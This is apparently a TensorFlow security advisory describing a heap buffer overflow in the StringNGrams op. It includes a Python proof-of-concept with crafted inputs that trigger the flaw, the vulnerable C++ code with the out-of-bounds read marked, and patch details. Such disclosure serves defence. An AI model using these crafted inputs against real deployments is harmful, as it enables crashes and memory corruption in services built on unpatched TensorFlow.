Heap buffer overflow in `StringNGrams`
Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:
import tensorflow as tf
separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
l = ['', '', '', '', '', '', '', '', '', '', '']
data = tf.constant(l, shape=[11], dtype=tf.string)
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)
out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
int pad_width = get_pad_width(ngram_width);
int left_padding = std::max(0, pad_width - ngram_index);
int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
int num_tokens = ngram_width - (left_padding + right_padding);
int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
...
tstring* ngram = &output[ngram_index];
ngram->reserve(ngram_size);
for (int n = 0; n < left_padding; ++n) {
ngram->append(left_pad_);
ngram->append(separator_);
}
for (int n = 0; n < num_tokens - 1; ++n) {
ngram->append(data[data_start_index + n]);
ngram->append(separator_);
}
ngram->append(data[data_start_index + num_tokens - 1]); // <<<
for (int n = 0; n < right_padding; ++n) {
ngram->append(separator_);
ngram->append(right_pad_);
}
...
}If input is such that num_tokens is 0, then, for data_start_index=0 (when left padding is present), the marked line would result in reading data[-1].
Patches
We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
